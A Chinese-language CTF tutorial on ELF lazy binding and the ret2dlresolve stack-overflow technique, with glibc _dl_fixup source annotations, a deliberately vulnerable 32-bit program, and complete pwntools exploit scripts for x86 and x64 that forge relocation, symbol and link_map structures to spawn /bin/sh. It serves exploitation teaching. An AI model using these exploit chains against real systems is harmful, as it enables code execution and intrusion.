延迟绑定与 ret2dlresolve 详解
ret2dlresolve 是栈溢出下的一种攻击方法,主要用于程序没有办法利用 puts 、printf、writer 函数等泄露程序内存信息的情况。
延迟绑定
objdump -s -j .dynsym pwn
.dynstr 段:存放了各个函数的名称字符串。
typedef struct { ELF32_Word st_name; ELF32_Addr st_value; ELF32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;
其中 st_name 域是相对于 .dynstr 段的偏移,来确定函数名称字符串在 .dynstr 段的地址;st_value 域是当前符合被导出时存放虚拟地址的。
typedef struct { ELF32_Addr r_offset; ELF32_Addr r_info; } Elf32_Rel;
r_offset 域用于保存解析后的符号地址写入内存的位置, r_info 域的值在 右移 8 位之后的值用于标识该符号在 .dynsym 段中的位置,也就是确定该函数的 Elf_Sym 结构体地址。其中的 r_offset 域也就是 GOT 表,当解析完成后,GOT 表中对应的函数地址也就被写上了对应函数的 libc 地址。
_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg) { // 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); // 然后通过reloc->r_info找到.dynsym中对应的条目 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7 assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT); // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址 result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); // value为libc基址加上要解析函数的偏移地址,也即实际地址 value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0); // 最后把value写入相应的GOT表条目中 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }
漏洞利用
#include <unistd.h> #include <stdio.h> #include <string.h> void vuln(){ char buf[0x10]; puts("> "); read(0, buf, 0x30); } void init(){ setbuf(stdout, 0); setbuf(stderr, 0); setbuf(stdin, 0); } int main() { init(); vuln(); return 0; }
gcc -fno-stack-protector -z relro -no-pie -fno-pie 1.c -m32 -o pwn
这样,我们就得到一个简单的栈溢出漏洞程序,我们现在利用这个程序来实现 ret2dlresolve
首先,我们尝试通过栈迁移的方法来模拟实现 puts 函数动态链接的过程,并打印 Hacker!
leave = 0x08049105 ret = 0x08049009 PLT0 = 0x8049030 buf = elf.bss() + 0x800 gdb.attach(p, 'b *0x80491C1') sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)) sleep(3) payload = b'a'*4 + p32(PLT0) + p32(0x18) + p32(0) + p32(buf + 0x14) + b'Hacker!' s(payload) pause()
exp 如代码,在这个代码中,我们先进行了栈迁移,之后模拟已经将 0x18 (puts 函数的 realoc_index 参数)已经压入栈,接着执行 PLT0,压入 link_map_obj 参数,然后执行 _dl_runtime_resolve 函数,之后解析完成那么就能够接着执行 puts("Hacker!") 打印出 Hacker!
第二步我们自己伪造 Elf_Rel 结构体来实现这一效果。首先要控制好 realoc_index 参数,使函数的 Elf_Rel 结构体落在 bss 上
leave = 0x08049105 ret = 0x08049009 PLT0 = 0x8049030 buf = elf.bss() + 0x800 rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn #gdb.attach(p, 'b *0x80491C1') sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)) sleep(3) realoc_index = buf + 0x14 - rel_plt fake_Elf_Rel = p32(elf.got['puts']) + p32(0x407) payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x1c) + fake_Elf_Rel + b'Hacker!' s(payload) pr() #pause()
接着继续伪造 Elf_Sym 结构体,那么这里我们就需要修改 r_info 的值了,其中, r_info 的值是由 r_sym 和 r_type 计算得出,r_sym 是对应函数的 Elf_Sym 结构体相对于 .dynsym 段的偏移,r_type 照抄取为 7(_dl_fixup 函数中会检测 r_info 的低位是否为 7,这里一般默认为 7)
r_sym = (buf + xx - .dynsym)/0x10
r_info = (r_sym << 8) + r_type(7)
同样的,这里的 fake_Elf_Sym 结构体里面的值先照抄原本的 Elf_Sym 结构体的值,所以
fake_Elf_Sym = p32(puts_str_addr - dynstr) + p32(0)*2 + p32(0x12) + p32(0)*2
fake_Elf_Sym = p32(puts_str_addr - dynstr)+ p32(0)*2 + p32(0x12)+ p32(0)*2
exp
leave = 0x08049105 ret = 0x08049009 PLT0 = 0x8049030 buf = elf.bss() + 0x800 rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn dynsym = 0x804821c dynstr = 0x80482BC #gdb.attach(p, 'b *0x80491C1') sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)) sleep(3) # set fake_Elf_Sym r_sym = (buf + 0x1c - dynsym) / 0x10 r_type = 7 r_info = (int(r_sym) << 8) + r_type puts_str_addr = 0x80482F3 fake_Elf_Sym = p32(puts_str_addr - dynstr) + p32(0)*2 + p32(0x12) + p32(0)*2 # set fake_Elf_Rel realoc_index = buf + 0x14 - rel_plt fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info) payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x34) payload += fake_Elf_Rel # buf + 0x14 payload += fake_Elf_Sym # buf + 0x1c payload += b"Hacker!" #buf+0x34 s(payload) pr() #pause()
接下来继续伪造 .dynstr 段上的字符串,这个改动比较简单,伪造一个 fake_st_name 即可
fake_st_name = bus + xx - .dynstr
exp
leave = 0x08049105 ret = 0x08049009 PLT0 = 0x8049030 buf = elf.bss() + 0x800 rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn dynsym = 0x804821c dynstr = 0x80482BC #gdb.attach(p, 'b *0x80491C1') sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)) sleep(3) # set fake_st_name fake_st_name = buf + 0x34 - dynstr # set fake_Elf_Sym r_sym = (buf + 0x1c - dynsym) / 0x10 r_type = 7 r_info = (int(r_sym) << 8) + r_type puts_str_addr = 0x80482F3 fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2 # set fake_Elf_Rel realoc_index = buf + 0x14 - rel_plt fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info) payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x3c) payload += fake_Elf_Rel # buf + 0x14 payload += fake_Elf_Sym # buf + 0x1c payload += b"puts" + p32(0) #buf+0x34 payload += b"Hacker!" s(payload) pr() #pause()
由于解析是根据函数名字符串来寻找的,所以我们接下来只需要修改 puts -> system、Hacker! -> /bin/sh 即可 get shell
from pwn import * from struct import pack from ctypes import * #from LibcSearcher import * def s(a) : p.send(a) def sa(a, b) : p.sendafter(a, b) def sl(a) : p.sendline(a) def sla(a, b) : p.sendlineafter(a, b) def r() : return p.recv() def pr() : print(p.recv()) def rl(a) : return p.recvuntil(a) def inter() : p.interactive() def debug(): gdb.attach(p) pause() def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def csu(rdi, rsi, rdx, rbp, rip, gadget) : return p64(gadget) + p64(0) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(rip) + p64(gadget - 0x1a) context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('1.14.71.254', 28966) elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') leave = 0x08049105 ret = 0x08049009 PLT0 = 0x8049030 buf = elf.bss() + 0x800 rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn dynsym = 0x804821c dynstr = 0x80482BC #gdb.attach(p, 'b *0x80491C1') sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100)) sleep(3) # set fake_st_name fake_st_name = buf + 0x34 - dynstr # set fake_Elf_Sym r_sym = (buf + 0x1c - dynsym) / 0x10 r_type = 7 r_info = (int(r_sym) << 8) + r_type puts_str_addr = 0x80482F3 fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2 # set fake_Elf_Rel realoc_index = buf + 0x14 - rel_plt fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info) payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x3c) payload += fake_Elf_Rel # buf + 0x14 payload += fake_Elf_Sym # buf + 0x1c payload += b"system" + p16(0) #buf+0x34 payload += b"/bin/sh\x00" s(payload) inter() #pause()
x64
typedef struct{ Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */ }Elf64_Sym;
这是64 位下的 Elf_Rel 结构体,增加了 r_addend
typedef struct{ Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ }Elf64_Rela;
并且,如果是直接像 32 位的做法直接伪造 realoc_index,那么会因为 _dl_fixup 函数执行时候访问到错误的内存地址而奔溃
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1] { // 获取link_map中存放DT_SYMTAB的地址 const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); // 获取link_map中存放DT_STRTAB的地址 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 根据重定位结构体的r_info得到symtab表中对应的结构体 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; /* Sanity check that we're really looking at a PLT relocation. */ assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7 /* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */ if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码 { const struct r_found_version *version = NULL; // 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { // 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段 // 就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段 // 第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。 // 第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。 const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; } /* We need to keep the scope around so do some locking. This is not necessary for objects which cannot be unloaded or when we are not using any threads (yet). */ int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } RTLD_ENABLE_FOREIGN_CALL; // 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); /* We are done with the global scope. */ if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); RTLD_FINALIZE_FOREIGN_CALL; /* Currently result contains the base load address (or link map) of the object that defines sym. Now add in the symbol offset. */ // 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0); } else { // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value // 我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } /* And now perhaps the relocation addend. */ value = elf_machine_plt_value (l, reloc, value); if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0)) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); /* Finally, fix up the plt itself. */ if (__glibc_unlikely (GLRO(dl_bind_not))) return value; // 最后把value写入相应的GOT表条目中 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); } //来自 https://blog.csdn.net/qq_51868336/article/details/114644569
- st_other != 0
- l -> l_addr = system_libc - a_libc;sym -> st_value = a_got (其中,a 函数是已经被解析过的一个函数)
//0x68 strtab //0x70 symtab //0xf8 relplt struct link_map { Elf64_Addr l_addr; char *l_name; Elf64_Dyn *l_ld; struct link_map *l_next; struct link_map *l_prev; struct link_map *l_real; Lmid_t l_ns; struct libname_list *l_libname; Elf64_Dyn *l_info[76]; const Elf64_Phdr *l_phdr; Elf64_Addr l_entry; Elf64_Half l_phnum; Elf64_Half l_ldnum; struct r_scope_elem l_searchlist; struct r_scope_elem l_symbolic_searchlist; struct link_map *l_loader; struct r_found_version *l_versions; unsigned int l_nversions; Elf_Symndx l_nbuckets; Elf32_Word l_gnu_bitmask_idxbits; Elf32_Word l_gnu_shift; const Elf64_Addr *l_gnu_bitmask; union { const Elf32_Word *l_gnu_buckets; const Elf_Symndx *l_chain; }; union { const Elf32_Word *l_gnu_chain_zero; const Elf_Symndx *l_buckets; }; unsigned int l_direct_opencount; enum {lt_executable, lt_library, lt_loaded} l_type : 2; unsigned int l_relocated : 1; unsigned int l_init_called : 1; unsigned int l_global : 1; unsigned int l_reserved : 2; unsigned int l_phdr_allocated : 1; unsigned int l_soname_added : 1; unsigned int l_faked : 1; unsigned int l_need_tls_init : 1; unsigned int l_auditing : 1; unsigned int l_audit_any_plt : 1; unsigned int l_removed : 1; unsigned int l_contiguous : 1; unsigned int l_symbolic_in_local_scope : 1; unsigned int l_free_initfini : 1; struct r_search_path_struct l_rpath_dirs; struct reloc_result *l_reloc_result; Elf64_Versym *l_versyms; const char *l_origin; Elf64_Addr l_map_start; Elf64_Addr l_map_end; Elf64_Addr l_text_end; struct r_scope_elem *l_scope_mem[4]; size_t l_scope_max; struct r_scope_elem **l_scope; struct r_scope_elem *l_local_scope[2]; struct r_file_id l_file_id; struct r_search_path_struct l_runpath_dirs; struct link_map **l_initfini; struct link_map_reldeps *l_reldeps; unsigned int l_reldepsmax; unsigned int l_used; Elf64_Word l_feature_1; Elf64_Word l_flags_1; Elf64_Word l_flags; int l_idx; struct link_map_machine l_mach; struct { const Elf64_Sym *sym; int type_class; struct link_map *value; const Elf64_Sym *ret; } l_lookup_cache; void *l_tls_initimage; size_t l_tls_initimage_size; size_t l_tls_blocksize; size_t l_tls_align; size_t l_tls_firstbyte_offset; ptrdiff_t l_tls_offset; size_t l_tls_modid; size_t l_tls_dtor_count; Elf64_Addr l_relro_addr; size_t l_relro_size; unsigned long long l_serial; struct auditstate l_audit[]; };
根据 _dl_fixup 函数的代码,我们可以知道 .rel.plt 、.dynsym、.dynstr 段的地址都是从 l -> l_info[] 中取的,所以 l -> l_info 又对应了 .dynamic 段,这里我们可以在 IDA 看到 .dynamic 段的内容
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误 linkmap = p64(offset & (2 ** 64 - 1))#l_addr # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容 linkmap += p64(0) # 可以为任意值 linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址 # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项 linkmap += p64((fake_linkmap_addr + 0x90)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项 linkmap += p64(0)# Rela->r_addend,任意值都行 linkmap += p64(0)#l_ns # fake_linkmap_addr + 0x38, DT_SYMTAB linkmap += p64(0) # 参考IDA上.dyamisc的结构 linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8 linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68, b'A') linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域 linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址 linkmap = linkmap.ljust(0xf8, b'A') linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址 return linkmap
from pwn import * from struct import pack from ctypes import * from LibcSearcher import * import base64 def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('spdc-1.play.hfsc.tf', 40003) elf = ELF('./pwn') #libc = ELF('./libc-2.27-x64.so') libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so') sleep(0.1) s("V2VsY29tZSB0byBOS0NURiE=") sleep(0.1) s("dGVsbCB5b3UgYSBzZWNyZXQ6") sleep(0.1) s("SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45") sleep(0.1) s("Y2FuIHlvdSBmaW5kIG1lPw==") sleep(0.1) rdi = 0x401683 rsi_r15 = 0x401681 rbp = 0x40117d leave = 0x4013c2 ret = 0x40101a PLT1 = 0x401026 buf = elf.bss() + 0x400 def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误 linkmap = p64(offset & (2 ** 64 - 1))#l_addr # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容 linkmap += p64(0) # 可以为任意值 linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址 # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项 linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项 linkmap += p64(0)# Rela->r_addend,任意值都行 linkmap += p64(0)#l_ns # fake_linkmap_addr + 0x38, DT_SYMTAB linkmap += p64(0) # 参考IDA上.dyamisc的结构 linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8 linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68, b'A') linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域 linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址 linkmap = linkmap.ljust(0xf8, b'A') linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址 return linkmap #gdb.attach(p, 'b *0x4013E8') s(b'a'*0x30 + p64(buf) + p64(rsi_r15) + p64(buf)*2 + p64(elf.sym['read']) + p64(rdi) + p64(buf + 0x48) + p64(ret) + p64(PLT1) + p64(buf) + p64(0)) sleep(2) fake_link_map = fake_Linkmap_payload(buf, elf.got['setbuf'], libc.sym['system'] - libc.sym['setbuf']) s(fake_link_map) inter() #pause()
参考:https://blog.csdn.net/qq_51868336/article/details/114644569 CTF 竞赛权威指南